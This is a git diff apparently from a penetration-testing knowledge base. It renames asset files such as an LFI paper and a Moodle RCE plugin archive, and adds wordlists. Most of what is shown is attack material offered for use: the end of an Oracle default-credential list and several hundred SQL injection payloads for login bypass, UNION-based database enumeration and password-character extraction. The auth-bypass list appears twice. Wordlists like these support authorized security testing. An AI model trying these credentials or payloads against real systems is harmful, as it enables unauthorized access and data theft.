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+WIRELESS:WELCOME
+WIRELESS:WIRELESS
+wkadmin:wkadmin
+WKADMIN:WKADMIN
+wkproxy:change_on_install
+WKPROXY:CHANGE_ON_INSTALL
+wkproxy:unknown
+WKPROXY:UNKNOWN
+wkproxy:wkproxy
+WKPROXY:WKPROXY
+wksys:change_on_install
+WKSYS:CHANGE_ON_INSTALL
+wksys:wksys
+WKSYS:WKSYS
+wk_test:wk_test
+WK_TEST:WK_TEST
+wkuser:wkuser
+WKUSER:WKUSER
+wms:wms
+WMS:WMS
+wmsys:wmsys
+WMSYS:WMSYS
+wob:wob
+WOB:WOB
+wps:wps
+WPS:WPS
+wsh:wsh
+WSH:WSH
+wsm:wsm
+WSM:WSM
+wwwuser:wwwuser
+WWWUSER:WWWUSER
+www:www
+WWW:WWW
+xademo:xademo
+XADEMO:XADEMO
+xdb:change_on_install
+XDB:CHANGE_ON_INSTALL
+XDO:XDO
+xdp:xdp
+XDP:XDP
+xla:xla
+XLA:XLA
+XLE:XLE
+XNB:XNB
+xnc:xnc
+XNC:XNC
+xni:xni
+XNI:XNI
+xnm:xnm
+XNM:XNM
+xnp:xnp
+XNP:XNP
+xns:xns
+XNS:XNS
+xprt:xprt
+XPRT:XPRT
+xtr:xtr
+XTR:XTR
+YCAMPOS:YCAMPOS
+YSANCHEZ:YSANCHEZ
+ZFA:ZFA
+ZPB:ZPB
+ZSA:ZSA
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diff --git a/src/files/LFI-With-PHPInfo-Assistance.pdf b/.gitbook/assets/lfi-with-phpinfo-assistance.pdf
similarity index 100%
rename from src/files/LFI-With-PHPInfo-Assistance.pdf
rename to .gitbook/assets/lfi-with-phpinfo-assistance.pdf
diff --git a/.gitbook/assets/lfi.txt b/.gitbook/assets/lfi.txt
new file mode 100644
index 00000000000..dd887237f70
--- /dev/null
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diff --git a/.gitbook/assets/lfi2.txt b/.gitbook/assets/lfi2.txt
new file mode 100644
index 00000000000..9944f6cd01d
--- /dev/null
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diff --git a/src/images/mimidrv.png b/.gitbook/assets/mimidrv.png
similarity index 100%
rename from src/images/mimidrv.png
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diff --git a/src/files/moodle-rce-plugin.zip b/.gitbook/assets/moodle-rce-plugin.zip
similarity index 100%
rename from src/files/moodle-rce-plugin.zip
rename to .gitbook/assets/moodle-rce-plugin.zip
diff --git a/.gitbook/assets/pass-oracle.txt b/.gitbook/assets/pass-oracle.txt
new file mode 100644
index 00000000000..5c42de326e1
--- /dev/null
+++ b/.gitbook/assets/pass-oracle.txt
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new file mode 100644
index 00000000000..88945a8645b
Binary files /dev/null and b/.gitbook/assets/smbexec_prompt.png differ
diff --git a/.gitbook/assets/smbexec_service.png b/.gitbook/assets/smbexec_service.png
new file mode 100644
index 00000000000..674088bd5cd
Binary files /dev/null and b/.gitbook/assets/smbexec_service.png differ
diff --git a/src/images/SNMP_OID_MIB_Tree (1).png b/.gitbook/assets/snmp_oid_mib_tree.png
similarity index 100%
rename from src/images/SNMP_OID_MIB_Tree (1).png
rename to .gitbook/assets/snmp_oid_mib_tree.png
diff --git a/.gitbook/assets/sqli-1.txt b/.gitbook/assets/sqli-1.txt
new file mode 100644
index 00000000000..3952738e252
--- /dev/null
+++ b/.gitbook/assets/sqli-1.txt
@@ -0,0 +1,49 @@
+true
+1
+1>0
+2-1
+0+1
+1*1
+1%2
+1=1
+1 & 1
+1&1
+1 && 2
+1&&2
+-1 || 1
+|1||1
+-1 oR 1
+1 aND 1
+1 LikE 1
+(1)oR(1)
+(1)aND(1)
+(1)LikE(1)
+-1/**/oR/**/1
+1/**/aND/**/1
+1/**/LikE/**/1
+1'
+1'>'0
+2'-'1
+0'+'1
+1'*'1
+1'%'2
+1'='1
+1'&'1
+1'&&'2
+-1'||'1
+-1'oR'1
+1'aND'1
+1'LikE'1
+1"
+1">"0
+2"-"1
+0"+"1
+1"*"1
+1"%"2
+1"="1
+1"&"1
+1"&&"2
+-1"||"1
+-1"oR"1
+1"aND"1
+1"LikE"1
\ No newline at end of file
diff --git a/.gitbook/assets/sqli-authbypass-big.txt b/.gitbook/assets/sqli-authbypass-big.txt
new file mode 100644
index 00000000000..5a03da57f0f
--- /dev/null
+++ b/.gitbook/assets/sqli-authbypass-big.txt
@@ -0,0 +1,771 @@
+'-'
+' '
+'&'
+'^'
+'*'
+' or ''-'
+' or '' '
+' or ''&'
+' or ''^'
+' or ''*'
+"-"
+" "
+"&"
+"^"
+"*"
+" or ""-"
+" or "" "
+" or ""&"
+" or ""^"
+" or ""*"
+or true--
+" or true--
+' or true--
+") or true--
+') or true--
+' or 'x'='x
+') or ('x')=('x
+')) or (('x'))=(('x
+" or "x"="x
+") or ("x")=("x
+")) or (("x"))=(("x
+or 1=1
+or 1=1--
+or 1=1#
+or 1=1/*
+admin' --
+admin' #
+admin'/*
+admin' or '1'='1
+admin' or '1'='1'--
+admin' or '1'='1'#
+admin' or '1'='1'/*
+admin'or 1=1 or ''='
+admin' or 1=1
+admin' or 1=1--
+admin' or 1=1#
+admin' or 1=1/*
+admin') or ('1'='1
+admin') or ('1'='1'--
+admin') or ('1'='1'#
+admin') or ('1'='1'/*
+admin') or '1'='1
+admin') or '1'='1'--
+admin') or '1'='1'#
+admin') or '1'='1'/*
+1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
+admin" --
+admin" #
+admin"/*
+admin" or "1"="1
+admin" or "1"="1"--
+admin" or "1"="1"#
+admin" or "1"="1"/*
+admin"or 1=1 or ""="
+admin" or 1=1
+admin" or 1=1--
+admin" or 1=1#
+admin" or 1=1/*
+admin") or ("1"="1
+admin") or ("1"="1"--
+admin") or ("1"="1"#
+admin") or ("1"="1"/*
+admin") or "1"="1
+admin") or "1"="1"--
+admin") or "1"="1"#
+admin") or "1"="1"/*
+1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
+==
+=
+'
+' --
+' #
+' –
+'--
+'/*
+'#
+" --
+" #
+"/*
+' and 1='1
+' and a='a
+ or 1=1
+ or true
+' or ''='
+" or ""="
+1′) and '1′='1–
+' AND 1=0 UNION ALL SELECT '', '81dc9bdb52d04dc20036dbd8313ed055
+" AND 1=0 UNION ALL SELECT "", "81dc9bdb52d04dc20036dbd8313ed055
+ and 1=1
+ and 1=1–
+' and 'one'='one
+' and 'one'='one–
+' group by password having 1=1--
+' group by userid having 1=1--
+' group by username having 1=1--
+ like '%'
+ or 0=0 --
+ or 0=0 #
+ or 0=0 –
+' or         0=0 #
+' or 0=0 --
+' or 0=0 #
+' or 0=0 –
+" or 0=0 --
+" or 0=0 #
+" or 0=0 –
+%' or '0'='0
+ or 1=1
+ or 1=1--
+ or 1=1/*
+ or 1=1#
+ or 1=1–
+' or 1=1--
+' or '1'='1
+' or '1'='1'--
+' or '1'='1'/*
+' or '1'='1'#
+' or '1′='1
+' or 1=1
+' or 1=1 --
+' or 1=1 –
+' or 1=1--
+' or 1=1;#
+' or 1=1/*
+' or 1=1#
+' or 1=1–
+') or '1'='1
+') or '1'='1--
+') or '1'='1'--
+') or '1'='1'/*
+') or '1'='1'#
+') or ('1'='1
+') or ('1'='1--
+') or ('1'='1'--
+') or ('1'='1'/*
+') or ('1'='1'#
+'or'1=1
+'or'1=1′
+" or "1"="1
+" or "1"="1"--
+" or "1"="1"/*
+" or "1"="1"#
+" or 1=1
+" or 1=1 --
+" or 1=1 –
+" or 1=1--
+" or 1=1/*
+" or 1=1#
+" or 1=1–
+") or "1"="1
+") or "1"="1"--
+") or "1"="1"/*
+") or "1"="1"#
+") or ("1"="1
+") or ("1"="1"--
+") or ("1"="1"/*
+") or ("1"="1"#
+) or '1′='1–
+) or ('1′='1–
+' or 1=1 LIMIT 1;#
+'or 1=1 or ''='
+"or 1=1 or ""="
+' or 'a'='a
+' or a=a--
+' or a=a–
+') or ('a'='a
+" or "a"="a
+") or ("a"="a
+') or ('a'='a and hi") or ("a"="a
+' or 'one'='one
+' or 'one'='one–
+' or uid like '%
+' or uname like '%
+' or userid like '%
+' or user like '%
+' or username like '%
+' or 'x'='x
+') or ('x'='x
+" or "x"="x
+' OR 'x'='x'#;
+'=' 'or' and '=' 'or'
+' UNION ALL SELECT 1, @@version;#
+' UNION ALL SELECT system_user(),user();#
+' UNION select table_schema,table_name FROM information_Schema.tables;#
+admin' and substring(password/text(),1,1)='7
+' and substring(password/text(),1,1)='7
+
+==
+=
+'
+"
+'-- 2
+'/*
+'#
+"-- 2
+" #
+"/*
+'-'
+'&'
+'^'
+'*'
+'='
+0'<'2
+"-"
+"&"
+"^"
+"*"
+"="
+0"<"2
+
+')
+")
+')-- 2
+')/*
+')#
+")-- 2
+") #
+")/*
+')-('
+')&('
+')^('
+')*('
+')=('
+0')<('2
+")-("
+")&("
+")^("
+")*("
+")=("
+0")<("2
+
+'-''-- 2
+'-''#
+'-''/*
+'&''-- 2
+'&''#
+'&''/*
+'^''-- 2
+'^''#
+'^''/*
+'*''-- 2
+'*''#
+'*''/*
+'=''-- 2
+'=''#
+'=''/*
+0'<'2'-- 2
+0'<'2'#
+0'<'2'/*
+"-""-- 2
+"-""#
+"-""/*
+"&""-- 2
+"&""#
+"&""/*
+"^""-- 2
+"^""#
+"^""/*
+"*""-- 2
+"*""#
+"*""/*
+"=""-- 2
+"=""#
+"=""/*
+0"<"2"-- 2
+0"<"2"#
+0"<"2"/*
+
+')-''-- 2
+')-''#
+')-''/*
+')&''-- 2
+')&''#
+')&''/*
+')^''-- 2
+')^''#
+')^''/*
+')*''-- 2
+')*''#
+')*''/*
+')=''-- 2
+')=''#
+')=''/*
+0')<'2'-- 2
+0')<'2'#
+0')<'2'/*
+")-""-- 2
+")-""#
+")-""/*
+")&""-- 2
+")&""#
+")&""/*
+")^""-- 2
+")^""#
+")^""/*
+")*""-- 2
+")*""#
+")*""/*
+")=""-- 2
+")=""#
+")=""/*
+0")<"2-- 2
+0")<"2#
+0")<"2/*
+
+
+'oR'2
+'oR'2'-- 2
+'oR'2'#
+'oR'2'/*
+'oR'2'oR'
+'oR(2)-- 2
+'oR(2)#
+'oR(2)/*
+'oR(2)oR'
+'oR 2-- 2
+'oR 2#
+'oR 2/*
+'oR 2 oR'
+'oR/**/2-- 2
+'oR/**/2#
+'oR/**/2/*
+'oR/**/2/**/oR'
+"oR"2
+"oR"2"-- 2
+"oR"2"#
+"oR"2"/*
+"oR"2"oR"
+"oR(2)-- 2
+"oR(2)#
+"oR(2)/*
+"oR(2)oR"
+"oR 2-- 2
+"oR 2#
+"oR 2/*
+"oR 2 oR"
+"oR/**/2-- 2
+"oR/**/2#
+"oR/**/2/*
+"oR/**/2/**/oR"
+
+'oR'2'='2
+'oR'2'='2'oR'
+'oR'2'='2'-- 2
+'oR'2'='2'#
+'oR'2'='2'/*
+'oR'2'='2'oR'
+'oR 2=2-- 2
+'oR 2=2#
+'oR 2=2/*
+'oR 2=2 oR'
+'oR/**/2=2-- 2
+'oR/**/2=2#
+'oR/**/2=2/*
+'oR/**/2=2/**/oR'
+'oR(2)=2-- 2
+'oR(2)=2#
+'oR(2)=2/*
+'oR(2)=2/*
+'oR(2)=(2)oR'
+'oR'2'='2' LimIT 1-- 2
+'oR'2'='2' LimIT 1#
+'oR'2'='2' LimIT 1/*
+'oR(2)=(2)LimIT(1)-- 2
+'oR(2)=(2)LimIT(1)#
+'oR(2)=(2)LimIT(1)/*
+"oR"2"="2
+"oR"2"="2"oR"
+"oR"2"="2"-- 2
+"oR"2"="2"#
+"oR"2"="2"/*
+"oR"2"="2"oR"
+"oR 2=2-- 2
+"oR 2=2#
+"oR 2=2/*
+"oR 2=2 oR"
+"oR/**/2=2-- 2
+"oR/**/2=2#
+"oR/**/2=2/*
+"oR/**/2=2/**/oR"
+"oR(2)=2-- 2
+"oR(2)=2#
+"oR(2)=2/*
+"oR(2)=2/*
+"oR(2)=(2)oR"
+"oR"2"="2" LimIT 1-- 2
+"oR"2"="2" LimIT 1#
+"oR"2"="2" LimIT 1/*
+"oR(2)=(2)LimIT(1)-- 2
+"oR(2)=(2)LimIT(1)#
+"oR(2)=(2)LimIT(1)/*
+
+'oR true-- 2
+'oR true#
+'oR true/*
+'oR true oR'
+'oR(true)-- 2
+'oR(true)#
+'oR(true)/*
+'oR(true)oR'
+'oR/**/true-- 2
+'oR/**/true#
+'oR/**/true/*
+'oR/**/true/**/oR'
+"oR true-- 2
+"oR true#
+"oR true/*
+"oR true oR"
+"oR(true)-- 2
+"oR(true)#
+"oR(true)/*
+"oR(true)oR"
+"oR/**/true-- 2
+"oR/**/true#
+"oR/**/true/*
+"oR/**/true/**/oR"
+
+'oR'2'LiKE'2
+'oR'2'LiKE'2'-- 2
+'oR'2'LiKE'2'#
+'oR'2'LiKE'2'/*
+'oR'2'LiKE'2'oR'
+'oR(2)LiKE(2)-- 2
+'oR(2)LiKE(2)#
+'oR(2)LiKE(2)/*
+'oR(2)LiKE(2)oR'
+"oR"2"LiKE"2
+"oR"2"LiKE"2"-- 2
+"oR"2"LiKE"2"#
+"oR"2"LiKE"2"/*
+"oR"2"LiKE"2"oR"
+"oR(2)LiKE(2)-- 2
+"oR(2)LiKE(2)#
+"oR(2)LiKE(2)/*
+"oR(2)LiKE(2)oR"
+
+admin
+admin'-- 2
+admin'#
+admin'/*
+admin"-- 2
+admin"#
+ffifdyop
+
+' UniON SElecT 1,2-- 2
+' UniON SElecT 1,2,3-- 2
+' UniON SElecT 1,2,3,4-- 2
+' UniON SElecT 1,2,3,4,5-- 2
+' UniON SElecT 1,2#
+' UniON SElecT 1,2,3#
+' UniON SElecT 1,2,3,4#
+' UniON SElecT 1,2,3,4,5#
+'UniON(SElecT(1),2)-- 2
+'UniON(SElecT(1),2,3)-- 2
+'UniON(SElecT(1),2,3,4)-- 2
+'UniON(SElecT(1),2,3,4,5)-- 2
+'UniON(SElecT(1),2)#
+'UniON(SElecT(1),2,3)#
+'UniON(SElecT(1),2,3,4)#
+'UniON(SElecT(1),2,3,4,5)#
+" UniON SElecT 1,2-- 2
+" UniON SElecT 1,2,3-- 2
+" UniON SElecT 1,2,3,4-- 2
+" UniON SElecT 1,2,3,4,5-- 2
+" UniON SElecT 1,2#
+" UniON SElecT 1,2,3#
+" UniON SElecT 1,2,3,4#
+" UniON SElecT 1,2,3,4,5#
+"UniON(SElecT(1),2)-- 2
+"UniON(SElecT(1),2,3)-- 2
+"UniON(SElecT(1),2,3,4)-- 2
+"UniON(SElecT(1),2,3,4,5)-- 2
+"UniON(SElecT(1),2)#
+"UniON(SElecT(1),2,3)#
+"UniON(SElecT(1),2,3,4)#
+"UniON(SElecT(1),2,3,4,5)#
+
+'||'2
+'||2-- 2
+'||'2'||'
+'||2#
+'||2/*
+'||2||'
+"||"2
+"||2-- 2
+"||"2"||"
+"||2#
+"||2/*
+"||2||"
+'||'2'='2
+'||'2'='2'||'
+'||2=2-- 2
+'||2=2#
+'||2=2/*
+'||2=2||'
+"||"2"="2
+"||"2"="2"||"
+"||2=2-- 2
+"||2=2#
+"||2=2/*
+"||2=2||"
+'||2=(2)LimIT(1)-- 2
+'||2=(2)LimIT(1)#
+'||2=(2)LimIT(1)/*
+"||2=(2)LimIT(1)-- 2
+"||2=(2)LimIT(1)#
+"||2=(2)LimIT(1)/*
+'||true-- 2
+'||true#
+'||true/*
+'||true||'
+"||true-- 2
+"||true#
+"||true/*
+"||true||"
+'||'2'LiKE'2
+'||'2'LiKE'2'-- 2
+'||'2'LiKE'2'#
+'||'2'LiKE'2'/*
+'||'2'LiKE'2'||'
+'||(2)LiKE(2)-- 2
+'||(2)LiKE(2)#
+'||(2)LiKE(2)/*
+'||(2)LiKE(2)||'
+"||"2"LiKE"2
+"||"2"LiKE"2"-- 2
+"||"2"LiKE"2"#
+"||"2"LiKE"2"/*
+"||"2"LiKE"2"||"
+"||(2)LiKE(2)-- 2
+"||(2)LiKE(2)#
+"||(2)LiKE(2)/*
+"||(2)LiKE(2)||"
+
+')oR('2
+')oR'2'-- 2
+')oR'2'#
+')oR'2'/*
+')oR'2'oR('
+')oR(2)-- 2
+')oR(2)#
+')oR(2)/*
+')oR(2)oR('
+')oR 2-- 2
+')oR 2#
+')oR 2/*
+')oR 2 oR('
+')oR/**/2-- 2
+')oR/**/2#
+')oR/**/2/*
+')oR/**/2/**/oR('
+")oR("2
+")oR"2"-- 2
+")oR"2"#
+")oR"2"/*
+")oR"2"oR("
+")oR(2)-- 2
+")oR(2)#
+")oR(2)/*
+")oR(2)oR("
+")oR 2-- 2
+")oR 2#
+")oR 2/*
+")oR 2 oR("
+")oR/**/2-- 2
+")oR/**/2#
+")oR/**/2/*
+")oR/**/2/**/oR("
+')oR'2'=('2
+')oR'2'='2'oR('
+')oR'2'='2'-- 2
+')oR'2'='2'#
+')oR'2'='2'/*
+')oR'2'='2'oR('
+')oR 2=2-- 2
+')oR 2=2#
+')oR 2=2/*
+')oR 2=2 oR('
+')oR/**/2=2-- 2
+')oR/**/2=2#
+')oR/**/2=2/*
+')oR/**/2=2/**/oR('
+')oR(2)=2-- 2
+')oR(2)=2#
+')oR(2)=2/*
+')oR(2)=2/*
+')oR(2)=(2)oR('
+')oR'2'='2' LimIT 1-- 2
+')oR'2'='2' LimIT 1#
+')oR'2'='2' LimIT 1/*
+')oR(2)=(2)LimIT(1)-- 2
+')oR(2)=(2)LimIT(1)#
+')oR(2)=(2)LimIT(1)/*
+")oR"2"=("2
+")oR"2"="2"oR("
+")oR"2"="2"-- 2
+")oR"2"="2"#
+")oR"2"="2"/*
+")oR"2"="2"oR("
+")oR 2=2-- 2
+")oR 2=2#
+")oR 2=2/*
+")oR 2=2 oR("
+")oR/**/2=2-- 2
+")oR/**/2=2#
+")oR/**/2=2/*
+")oR/**/2=2/**/oR("
+")oR(2)=2-- 2
+")oR(2)=2#
+")oR(2)=2/*
+")oR(2)=2/*
+")oR(2)=(2)oR("
+")oR"2"="2" LimIT 1-- 2
+")oR"2"="2" LimIT 1#
+")oR"2"="2" LimIT 1/*
+")oR(2)=(2)LimIT(1)-- 2
+")oR(2)=(2)LimIT(1)#
+")oR(2)=(2)LimIT(1)/*
+')oR true-- 2
+')oR true#
+')oR true/*
+')oR true oR('
+')oR(true)-- 2
+')oR(true)#
+')oR(true)/*
+')oR(true)oR('
+')oR/**/true-- 2
+')oR/**/true#
+')oR/**/true/*
+')oR/**/true/**/oR('
+")oR true-- 2
+")oR true#
+")oR true/*
+")oR true oR("
+")oR(true)-- 2
+")oR(true)#
+")oR(true)/*
+")oR(true)oR("
+")oR/**/true-- 2
+")oR/**/true#
+")oR/**/true/*
+")oR/**/true/**/oR("
+')oR'2'LiKE('2
+')oR'2'LiKE'2'-- 2
+')oR'2'LiKE'2'#
+')oR'2'LiKE'2'/*
+')oR'2'LiKE'2'oR('
+')oR(2)LiKE(2)-- 2
+')oR(2)LiKE(2)#
+')oR(2)LiKE(2)/*
+')oR(2)LiKE(2)oR('
+")oR"2"LiKE("2
+")oR"2"LiKE"2"-- 2
+")oR"2"LiKE"2"#
+")oR"2"LiKE"2"/*
+")oR"2"LiKE"2"oR("
+")oR(2)LiKE(2)-- 2
+")oR(2)LiKE(2)#
+")oR(2)LiKE(2)/*
+")oR(2)LiKE(2)oR("
+admin')-- 2
+admin')#
+admin')/*
+admin")-- 2
+admin")#
+') UniON SElecT 1,2-- 2
+') UniON SElecT 1,2,3-- 2
+') UniON SElecT 1,2,3,4-- 2
+') UniON SElecT 1,2,3,4,5-- 2
+') UniON SElecT 1,2#
+') UniON SElecT 1,2,3#
+') UniON SElecT 1,2,3,4#
+') UniON SElecT 1,2,3,4,5#
+')UniON(SElecT(1),2)-- 2
+')UniON(SElecT(1),2,3)-- 2
+')UniON(SElecT(1),2,3,4)-- 2
+')UniON(SElecT(1),2,3,4,5)-- 2
+')UniON(SElecT(1),2)#
+')UniON(SElecT(1),2,3)#
+')UniON(SElecT(1),2,3,4)#
+')UniON(SElecT(1),2,3,4,5)#
+") UniON SElecT 1,2-- 2
+") UniON SElecT 1,2,3-- 2
+") UniON SElecT 1,2,3,4-- 2
+") UniON SElecT 1,2,3,4,5-- 2
+") UniON SElecT 1,2#
+") UniON SElecT 1,2,3#
+") UniON SElecT 1,2,3,4#
+") UniON SElecT 1,2,3,4,5#
+")UniON(SElecT(1),2)-- 2
+")UniON(SElecT(1),2,3)-- 2
+")UniON(SElecT(1),2,3,4)-- 2
+")UniON(SElecT(1),2,3,4,5)-- 2
+")UniON(SElecT(1),2)#
+")UniON(SElecT(1),2,3)#
+")UniON(SElecT(1),2,3,4)#
+")UniON(SElecT(1),2,3,4,5)#
+')||('2
+')||2-- 2
+')||'2'||('
+')||2#
+')||2/*
+')||2||('
+")||("2
+")||2-- 2
+")||"2"||("
+")||2#
+")||2/*
+")||2||("
+')||'2'=('2
+')||'2'='2'||('
+')||2=2-- 2
+')||2=2#
+')||2=2/*
+')||2=2||('
+")||"2"=("2
+")||"2"="2"||("
+")||2=2-- 2
+")||2=2#
+")||2=2/*
+")||2=2||("
+')||2=(2)LimIT(1)-- 2
+')||2=(2)LimIT(1)#
+')||2=(2)LimIT(1)/*
+")||2=(2)LimIT(1)-- 2
+")||2=(2)LimIT(1)#
+")||2=(2)LimIT(1)/*
+')||true-- 2
+')||true#
+')||true/*
+')||true||('
+")||true-- 2
+")||true#
+")||true/*
+")||true||("
+')||'2'LiKE('2
+')||'2'LiKE'2'-- 2
+')||'2'LiKE'2'#
+')||'2'LiKE'2'/*
+')||'2'LiKE'2'||('
+')||(2)LiKE(2)-- 2
+')||(2)LiKE(2)#
+')||(2)LiKE(2)/*
+')||(2)LiKE(2)||('
+")||"2"LiKE("2
+")||"2"LiKE"2"-- 2
+")||"2"LiKE"2"#
+")||"2"LiKE"2"/*
+")||"2"LiKE"2"||("
+")||(2)LiKE(2)-- 2
+")||(2)LiKE(2)#
+")||(2)LiKE(2)/*
+")||(2)LiKE(2)||("
+' UnION SELeCT 1,2`
+' UnION SELeCT 1,2,3`
+' UnION SELeCT 1,2,3,4`
+' UnION SELeCT 1,2,3,4,5`
+" UnION SELeCT 1,2`
+" UnION SELeCT 1,2,3`
+" UnION SELeCT 1,2,3,4`
+" UnION SELeCT 1,2,3,4,5`
\ No newline at end of file
diff --git a/.gitbook/assets/sqli-authbypass-long.txt b/.gitbook/assets/sqli-authbypass-long.txt
new file mode 100644
index 00000000000..5a03da57f0f
--- /dev/null
+++ b/.gitbook/assets/sqli-authbypass-long.txt
@@ -0,0 +1,771 @@
+'-'
+' '
+'&'
+'^'
+'*'
+' or ''-'
+' or '' '
+' or ''&'
+' or ''^'
+' or ''*'
+"-"
+" "
+"&"
+"^"
+"*"
+" or ""-"
+" or "" "
+" or ""&"
+" or ""^"
+" or ""*"
+or true--
+" or true--
+' or true--
+") or true--
+') or true--
+' or 'x'='x
+') or ('x')=('x
+')) or (('x'))=(('x
+" or "x"="x
+") or ("x")=("x
+")) or (("x"))=(("x
+or 1=1
+or 1=1--
+or 1=1#
+or 1=1/*
+admin' --
+admin' #
+admin'/*
+admin' or '1'='1
+admin' or '1'='1'--
+admin' or '1'='1'#
+admin' or '1'='1'/*
+admin'or 1=1 or ''='
+admin' or 1=1
+admin' or 1=1--
+admin' or 1=1#
+admin' or 1=1/*
+admin') or ('1'='1
+admin') or ('1'='1'--
+admin') or ('1'='1'#
+admin') or ('1'='1'/*
+admin') or '1'='1
+admin') or '1'='1'--
+admin') or '1'='1'#
+admin') or '1'='1'/*
+1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
+admin" --
+admin" #
+admin"/*
+admin" or "1"="1
+admin" or "1"="1"--
+admin" or "1"="1"#
+admin" or "1"="1"/*
+admin"or 1=1 or ""="
+admin" or 1=1
+admin" or 1=1--
+admin" or 1=1#
+admin" or 1=1/*
+admin") or ("1"="1
+admin") or ("1"="1"--
+admin") or ("1"="1"#
+admin") or ("1"="1"/*
+admin") or "1"="1
+admin") or "1"="1"--
+admin") or "1"="1"#
+admin") or "1"="1"/*
+1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
+==
+=
+'
+' --
+' #
+' –
+'--
+'/*
+'#
+" --
+" #
+"/*
+' and 1='1
+' and a='a
+ or 1=1
+ or true
+' or ''='
+" or ""="
+1′) and '1′='1–
+' AND 1=0 UNION ALL SELECT '', '81dc9bdb52d04dc20036dbd8313ed055
+" AND 1=0 UNION ALL SELECT "", "81dc9bdb52d04dc20036dbd8313ed055
+ and 1=1
+ and 1=1–
+' and 'one'='one
+' and 'one'='one–
+' group by password having 1=1--
+' group by userid having 1=1--
+' group by username having 1=1--
+ like '%'
+ or 0=0 --
+ or 0=0 #
+ or 0=0 –
+' or         0=0 #
+' or 0=0 --
+' or 0=0 #
+' or 0=0 –
+" or 0=0 --
+" or 0=0 #
+" or 0=0 –
+%' or '0'='0
+ or 1=1
+ or 1=1--
+ or 1=1/*
+ or 1=1#
+ or 1=1–
+' or 1=1--
+' or '1'='1
+' or '1'='1'--
+' or '1'='1'/*
+' or '1'='1'#
+' or '1′='1
+' or 1=1
+' or 1=1 --
+' or 1=1 –
+' or 1=1--
+' or 1=1;#
+' or 1=1/*
+' or 1=1#
+' or 1=1–
+') or '1'='1
+') or '1'='1--
+') or '1'='1'--
+') or '1'='1'/*
+') or '1'='1'#
+') or ('1'='1
+') or ('1'='1--
+') or ('1'='1'--
+') or ('1'='1'/*
+') or ('1'='1'#
+'or'1=1
+'or'1=1′
+" or "1"="1
+" or "1"="1"--
+" or "1"="1"/*
+" or "1"="1"#
+" or 1=1
+" or 1=1 --
+" or 1=1 –
+" or 1=1--
+" or 1=1/*
+" or 1=1#
+" or 1=1–
+") or "1"="1
+") or "1"="1"--
+") or "1"="1"/*
+") or "1"="1"#
+") or ("1"="1
+") or ("1"="1"--
+") or ("1"="1"/*
+") or ("1"="1"#
+) or '1′='1–
+) or ('1′='1–
+' or 1=1 LIMIT 1;#
+'or 1=1 or ''='
+"or 1=1 or ""="
+' or 'a'='a
+' or a=a--
+' or a=a–
+') or ('a'='a
+" or "a"="a
+") or ("a"="a
+') or ('a'='a and hi") or ("a"="a
+' or 'one'='one
+' or 'one'='one–
+' or uid like '%
+' or uname like '%
+' or userid like '%
+' or user like '%
+' or username like '%
+' or 'x'='x
+') or ('x'='x
+" or "x"="x
+' OR 'x'='x'#;
+'=' 'or' and '=' 'or'
+' UNION ALL SELECT 1, @@version;#
+' UNION ALL SELECT system_user(),user();#
+' UNION select table_schema,table_name FROM information_Schema.tables;#
+admin' and substring(password/text(),1,1)='7
+' and substring(password/text(),1,1)='7
+
+==
+=
+'
+"
+'-- 2
+'/*
+'#
+"-- 2
+" #
+"/*
+'-'
+'&'
+'^'
+'*'
+'='
+0'<'2
+"-"
+"&"
+"^"
+"*"
+"="
+0"<"2
+
+')
+")
+')-- 2
+')/*
+')#
+")-- 2
+") #
+")/*
+')-('
+')&('
+')^('
+')*('
+')=('
+0')<('2
+")-("
+")&("
+")^("
+")*("
+")=("
+0")<("2
+
+'-''-- 2
+'-''#
+'-''/*
+'&''-- 2
+'&''#
+'&''/*
+'^''-- 2
+'^''#
+'^''/*
+'*''-- 2
+'*''#
+'*''/*
+'=''-- 2
+'=''#
+'=''/*
+0'<'2'-- 2
+0'<'2'#
+0'<'2'/*
+"-""-- 2
+"-""#
+"-""/*
+"&""-- 2
+"&""#
+"&""/*
+"^""-- 2
+"^""#
+"^""/*
+"*""-- 2
+"*""#
+"*""/*
+"=""-- 2
+"=""#
+"=""/*
+0"<"2"-- 2
+0"<"2"#
+0"<"2"/*
+
+')-''-- 2
+')-''#
+')-''/*
+')&''-- 2
+')&''#
+')&''/*
+')^''-- 2
+')^''#
+')^''/*
+')*''-- 2
+')*''#
+')*''/*
+')=''-- 2
+')=''#
+')=''/*
+0')<'2'-- 2
+0')<'2'#
+0')<'2'/*
+")-""-- 2
+")-""#
+")-""/*
+")&""-- 2
+")&""#
+")&""/*
+")^""-- 2
+")^""#
+")^""/*
+")*""-- 2
+")*""#
+")*""/*
+")=""-- 2
+")=""#
+")=""/*
+0")<"2-- 2
+0")<"2#
+0")<"2/*
+
+
+'oR'2
+'oR'2'-- 2
+'oR'2'#
+'oR'2'/*
+'oR'2'oR'
+'oR(2)-- 2
+'oR(2)#
+'oR(2)/*
+'oR(2)oR'
+'oR 2-- 2
+'oR 2#
+'oR 2/*
+'oR 2 oR'
+'oR/**/2-- 2
+'oR/**/2#
+'oR/**/2/*
+'oR/**/2/**/oR'
+"oR"2
+"oR"2"-- 2
+"oR"2"#
+"oR"2"/*
+"oR"2"oR"
+"oR(2)-- 2
+"oR(2)#
+"oR(2)/*
+"oR(2)oR"
+"oR 2-- 2
+"oR 2#
+"oR 2/*
+"oR 2 oR"
+"oR/**/2-- 2
+"oR/**/2#
+"oR/**/2/*
+"oR/**/2/**/oR"
+
+'oR'2'='2
+'oR'2'='2'oR'
+'oR'2'='2'-- 2
+'oR'2'='2'#
+'oR'2'='2'/*
+'oR'2'='2'oR'
+'oR 2=2-- 2
+'oR 2=2#
+'oR 2=2/*
+'oR 2=2 oR'
+'oR/**/2=2-- 2
+'oR/**/2=2#
+'oR/**/2=2/*
+'oR/**/2=2/**/oR'
+'oR(2)=2-- 2
+'oR(2)=2#
+'oR(2)=2/*
+'oR(2)=2/*
+'oR(2)=(2)oR'
+'oR'2'='2' LimIT 1-- 2
+'oR'2'='2' LimIT 1#
+'oR'2'='2' LimIT 1/*
+'oR(2)=(2)LimIT(1)-- 2
+'oR(2)=(2)LimIT(1)#
+'oR(2)=(2)LimIT(1)/*
+"oR"2"="2
+"oR"2"="2"oR"
+"oR"2"="2"-- 2
+"oR"2"="2"#
+"oR"2"="2"/*
